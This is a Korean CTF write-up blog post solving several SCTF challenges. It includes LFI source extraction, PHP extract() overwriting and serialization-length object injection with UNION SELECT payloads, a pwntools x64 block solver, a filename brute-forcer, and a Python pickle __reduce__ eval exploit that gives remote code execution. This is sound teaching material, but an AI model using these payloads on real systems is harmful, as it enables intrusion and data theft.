Attack - Letter To Me(300 pts)




문제를 살펴보면 플래그는 DB 안에 있다는 힌트가 있으며, sql 파일과 서버 주소를 던져줬다.


sql 파일을 살펴보면 아래와 같다.





메인 페이지는 위와 같다. login페이지와 register 페이지가 있는 것을 확인 할 수 있다.




register 페이지의 경우 관리자에게 문의하여 로그인하라는 메시지가 나온다.




관리자에게 연락 할 수는 없기 때문에 page 파라미터에서 발생하는 LFI 취약점을 이용하여 PHP Wrapper로 페이지 소스를 긁어온다.




index.php를 살펴보면 conn.php를 include 한 이후 extract로 GET과 POST 파라미터를 변수화 시켜준다. 이 때 conn.php 안에 있는 db 정보를 변경할 수 있기 때문에 문제 페이지에서 받았던 SQL 테이블 데이터를 외부 서버에 생성 후 연결하여 admin으로 로그인 할 수 있다.




이 때 로그인 이후에는 위와 같이(login.php) 문제 서버의 세션으로 로그인이 유지되기 때문에 로그인 상태를 유지 할 수 있다.




위는 admin으로 로그인 한 후의 상태이다. 사용자를 초대 할 수 있으며, 해당 계정으로 접속 시 메시지를 자신에게 보내고 받을 수 있는 send.php와 show.php에 접근 할 수 있다.



<?php
  function generateRS($length = 64) {
     $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
     $charactersLength = strlen($characters);
     $randomString = '';

     $urandom = fopen("/dev/urandom", "rb");
     for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[ord(fread($urandom, 1)) % ($charactersLength - 1)];
     }
     return $randomString;
  }


  if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "")
  {
     die("Nope!");
  }

  require "models.php";
  if(isset($letter))
  {
     $note = new note();
     $note->user = $_SESSION['user'];
     $note->letter = $letter;

     if($_FILES['file']['size'] > 0)
     {
        if($_FILES['file']['size'] > 30)
        {
           echo "too big";
        }
        else if($_FILES['file']['error'] > 0 || !is_uploaded_file($_FILES['file']['tmp_name']))
        {
           echo "error1";
        }
        else
        {
           $uploadfile = "/var/www/html/uploads/".generateRS();
           if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
           {
              $fname = $_FILES['file']['name'];
              $note->addfile($fname, $uploadfile);
           }
           else
           {
              echo "error2";
           }
        }
     }
     $note->add();
  }
?>

send.php




<?php
  if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "")
  {
     die("Nope!");
  }

 require "models.php";
 $user = $_SESSION['user'];
 $user = mysql_real_escape_string($user);
 $DB->execute("select data from notes where username=\"${user}\"");
 $notes = $DB->fetch_all();

 foreach($notes as $note)
 {
    $note = unserialize($note);

    echo "<br>";
    $letter = $note->letter;
    $info = $note->resolve_file();
    echo "<div class=\"container\">";
    echo "<blockquote>";
    echo "<p>${letter}</p>";
    if(isset($info))
    {
       $path = $info[1];
       $name = $info[0];
       echo "<footer>Attached file: <cite title=\"Source Title\"><a href=\"".$path."\" download=\"".$name."\">file</a></cite></footer>";
   }
    else
      echo "<footer>Attached file: None</footer>";
      echo "</blockquote>";
   echo "</div>";
  }
?>

show.php




<?php
 class db
 {
    public $conn, $res;
    function __construct()
    {
       global $servername, $username, $password, $db_name;
       $this->conn = mysql_connect($servername, $username, $password) or die("connect error");
       mysql_select_db($db_name);
    }

    function execute($query)
    {
       $this->res = mysql_query($query) or die("SQL ERROR");
    }

    function fetch_all()
    {
       $res = array();
       while($row = mysql_fetch_row($this->res))
       {
      echo $row[0];
          array_push($res, $row[0]);
       }
       return $res;
    }

    function fetch_arr()
    {
       return mysql_fetch_array($this->res);
    }

    function fetch_one()
    {
       $res = mysql_fetch_row($this->res);
       return count($res) > 0 ? $res[0] : NULL;
    }

    function get_auto_incre()
    {
       return mysql_insert_id();
    }

 };


 $DB = new db();


 class note
 {
    public $user, $letter, $attached_file;

    function addfile($realname, $filename)
    {
       global $DB;

       $realname = mysql_real_escape_string($realname);
       $filename = mysql_real_escape_string($filename);

       $DB->execute("insert into files values (NULL, \"${realname}\", \"${filename}\")");
       $this->attached_file = $DB->get_auto_incre();

    }

    function add()
    {
       global $DB;
       $str = serialize($this);
       $str = $this->filter($str);

       $user = mysql_real_escape_string($this->user);
       $str = mysql_real_escape_string($str);
       $DB->execute("insert into notes values (\"${user}\", \"${str}\")");
    }

    function filter($str)
    {
       global $profanity_word_replace;
       $filter_word = array("s**t", "f**k", "as*", "bi**h", "H**l");
       foreach($filter_word as $word)
       {
          $replace = str_repeat($profanity_word_replace, strlen($word));
          $word = preg_quote($word);
          $str = eregi_replace($word, $replace, $str);
       }
       return $str;
    }

    function resolve_file()
    {
       global $DB;
       $id = $this->attached_file;
       if($id)
       {
         $DB->execute("select realname, path from files where id=${id}");
         return $DB->fetch_arr();
      }
      return NULL;
    }
 };

?>

models.php


위 3개의 소스는 이 문제의 핵심인 send.php, show.php, models.php이다. models.php의 경우 index.php를 제외한 거의 대부분의 소스에서 include 하고 있는 소스이며, DB 관련 작업을 처리하는 함수의 정의가 담겨 있다.


send.php에서 파일을 업로드 할 경우 models.php에 정의되어있는 addfile 함수에서  DB에 파일 경로를 넣어준다. 또한 하나의 파일이 추가될때마다 자동으로 파일의 인덱스를 늘려주는 get_auto_incre 메소드를 사용하고 있다.

그리고 add 함수에서 사용자 이름과 해당하는 메시지를 저장하는데, 메시지를 저장할 때 serialize 함수를 이용하여 시리얼라이징 하며, filter 함수를 이용하여 유해 문자를 필터링 한다. 이 때, 시리얼라이징 이후 필터링을 거치기 때문에 s:4:”f**k”와 같이 시리얼라이징 되었을 경우 profanity_word_replace에 설정된 값만큼 4번 반복되어 값이 들어가진다. 현재 이 변수에 설정된 값은 conn.php에 ‘*’로 지정되어있으며, 이는 곧 f**k가 ****로 필터링 된다는 뜻이 된다. 하지만 extract 함수를 index.php에서 사용하고 있기 때문에 profanity_word_replace 변수의 값은 임의로 바꿀 수 있으며, 이를 이용하여 unserialize 함수를 사용하여 시리얼라이징을 해제, 객체화 할 때 취약점이 발생할 수 있다.




# table name

f**k";s:13:"attached_file";s:119:"1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0, 1) limit 1, 1";}


# column name

f**k";s:13:"attached_file";s:127:"1 union select 1,(select column_name from information_schema.columns where table_name=0x4c544f4d5f466c3367 limit 0,1) limit 1,1


# flag

f**k";s:13:"attached_file";s:68:"1 union select 1,(select flag from LTOM_Fl3g limit 0,1) limit 1,1


위와 같이 msg부분에 입력해주고, 전체 길이만큼 dummy byte로 채워지도록 profanity_word_replace를 재설정 한 후 요청하면 각각에 해당하는 결과를 얻을 수 있다


FLAG : SCTF{Enj0y_y0ur_0nly_life}

Coding - Buildingblocks(250 pts)




문제를 확인해보면 별다른 설명은 없고 nc 주소만 나와있다.



해당 서버에 접속을 해보면 10개의 스테이지로 나뉘어진 문제가 나타나며, 아래의 리스트는 base64로 인코딩 된 x64 코드 블록이며,  segmentation fault가 없도록 잘 조합하여 sha256으로 hash하여 보내라고 한다. 약 1분~2분정도의 timeout이 걸려있으며 이 시간 내에 코드 블록들을 조합하여 보내야한다.





#coding: utf-8
from pwn import *
import hashlib
import sys

def divide(t, idx, s, d, g):
   if t[idx] == '\xb8':
       a = 'mov eax,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       s = int(b,16)
   elif t[idx] == '\x2d':
       a = 'sub eax,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       s -= int(b,16)
   elif t[idx] == '\x05':
       a = 'add eax,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       s += int(b,16)
   elif t[idx] == '\x74':
       a = 'je 0xf\nmov eax, 0x0\nmov eax,'
       b = 'DWORD PTR [eax]'
       c = 10
   elif t[idx] == '\xf7':
       a = 'mul'
       b = 'edx'
       c = 2
       s *= d
   elif t[idx] == '\xba':
       a = 'mov edx,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       d = int(b,16)
   elif t[idx] == '\x3d':
       a = 'cmp eax,'
       b = '0x'+t[idx+1:idx+5][::-1].encode('hex')
       c = 5
       g = int(b,16)
   elif t[idx] == '\x48':
       a = 'mov rax, 0x3c\nmov rdi,'
       b = '0x0\nsyscall'
       c = 16
   s &= 0xffffffff
   return a, b, c, s, d, g

r = remote("buildingblocks.eatpwnnosleep.com", 46115)
for q in range(10):
   print r.recvuntil(")\n")
   data = r.recvuntil("]")
   data = eval(data)

   blocks = []

   res = ""
   for d in data:
       blocks.append(base64.b64decode(d).encode('hex'))

   #print blocks

   sum_list = []
   goal_list = []
   start = 0

   for b in blocks:
       block = b.decode('hex')
       idx = 0
       d = 0
       s = 0
       g = 0
       print "[*] {} block.".format(blocks.index(b))
       if block[0] == '\xb8':
           start = blocks.index(b)
       while idx < len(block):
           inst, value, i, s, d, g = divide(block, idx, s, d, g)
           idx += i
           print inst, value
       
       sum_list.append(s)  
       goal_list.append(g)
       print "[+] sum : {}\n".format(hex(s))

   print sum_list
   print goal_list
   print start

   cnt = 0
   now = start
   res = [start,]
   while cnt < len(blocks)-1:
       next = goal_list.index(sum_list[now])
       now = next
       cnt += 1
       res.append(now)

   key = ""
   for i in range(len(blocks)):
       key += blocks[res[i]].decode('hex')

   key = hashlib.sha256(key).hexdigest()
   r.sendline(key)

print r.recvuntil("}")

payload.py


위의 페이로드를 날려주면 아래와 같이 플래그를 얻어낼 수 있다.




FLAG : SCTF{45m_d1545m_f0r3v3r}

Attack - Easyhaskell(200 pts)




문제를 확인해보면 Haskell로 짜여진 바이너리인 것 같다. 문제 설명의 플래그를 확인해보면 뭔가 암호화 된 것 같다. 이를 분석하기 위해 IDA로 열어보았으나, 함수가 너무 많고 알아볼 수 없어 실행을 시켜보았더니 플래그 포맷과 비슷한 문자열이 나타났다. 실행 시 argv에 값을 넣어봐도 변하지 않는 것과, stdin 등으로 입력을 받는 부분이 없는 것으로 보아 파일명을 이용하여 암호화를 할 것이라고 생각했다.




파일명을 바꿔서 실행시켜보니 예상했던대로 다른 문자열이 나타났다. 플래그 포맷이 SCTF{...}이기 때문에 SCTF{로 파일명을 바꿔 보냈더니 플래그와 일치하는 부분이 나타났다. 이를 이용하여 브루트포싱 스크립트를 작성하여 플래그를 얻어냈다.






#coding: utf-8
import os, re
import time

flag = "=ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5"
goal = "=ze=/<f"

strings = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*-=+~?"

while 1:
       n = raw_input(">> ")
       name = ""
       for i in strings:
               l = os.listdir('.')
               for j in l:
                       if "SCTF" in j:
                               name = j
               next = "SCTF{"+n+i+"}"
               os.rename(name, next)
               print next
               p = os.popen("./"+next).read()
               print p
               if goal in p:
                       print next
                       break
               time.sleep(0.05)

payload.py


FLAG : SCTF{D0_U_KNoW_fUnc10N4L_L4n9U4g3?}

Defense - Dfa(100 pts)



Dfa 문제는 1개의 취약점을 가진 소스를 던져준다. 이 소스에서 취약점을 발견하여 패치 한 후 서버로 패치된 소스를 넘기면 플래그를 얻을 수 있다. 일반적으로 스택이나 힙에서 발생하는 취약점의 경우 길이에 관련된 경우가 많기 때문에 node를 추가하거나 삭제하는 부분에서의 길이 검증 루틴에서 취약점이 발생할 것이라 생각하고 add_node 함수 부분에서 linebuf 변수의 길이를 0x100에서 0x1000으로 늘려주었다. 그리고 아래와 같은 페이로드를 작성하여 플래그를 획득할 수 있었다.



#coding: utf-8
from pwn import *
import sys
import base64

r = remote("dfa.eatpwnnosleep.com", 9999)
print r.recvuntil("finish\n")
r.sendline("auto.c")
print r.recvuntil("base64 : ")

with open("in.txt","r") as f:
       src = f.read()

data = base64.b64encode(src)
print data
r.sendline(data)
print r.recvuntil("good\n")
print r.recvuntil("runner.c\n")
print r.recvuntil("pass\n")
while 1:
       print r.recv(1),

payload.py


FLAG : SCTF{simple patch tutorial}

Attack - Readflag(100 pts)


readFlag.tar의 압축을 풀어보면 dump.py와 send.sh가 있는 것을 확인 할 수 있다. 각각의 소스는 아래와 같다.


from pickle import dumps


print dumps([1, 2, 3])+'#'

dump.py


#!/bin/bash
python dump.py | nc 0 55402


send.sh


이는 dump.py에서 pickle 모듈을 이용하여 pickling을 한 후 55402 포트로 해당 데이터를 보내는 것을 확인 할 수 있다. 여기에서 dump.py 대신에 pickle 취약점을 이용한 공격코드를 작성하여 pickling 한 후 해당 서버로 데이터를 전송한다면 RCE가 가능하다.


#coding: utf-8
from pwn import *
from cPickle import dumps
import os

payload = "open('test.py').read()"

class exploit(object):
       def __reduce__(self):
               return (eval, (payload,))

pd = dumps(exploit())
r = remote("readflag.eatpwnnosleep.com", 55402)

r.send(pd+"#")
print r.recv(2048)

payload.py


위와 같이 페이로드를 작성하여 날려주면 __reduce__메소드에서 튜플의 형태로 함수 또한 리턴하며 원격 서버에서 RCE가 발생한다. 이 때, 의도적으로 오류를 발생시킬 경우 서버의 파일명인 “test.py”를 알 수 있으며, 이를 open하여 파일의 내용을 읽어올 수 있다.

굳이 이렇게 사용하지 않고 __file__이나 sys.argv를 사용하여 실행되는 파일명을 알아낼수도 있다.

test.py 안의 내용을 살펴보면 flag를 얻어낼 수 있다.


FLAG : SCTF{3a5y_e4zy_p1ckl1ng}

+ Recent posts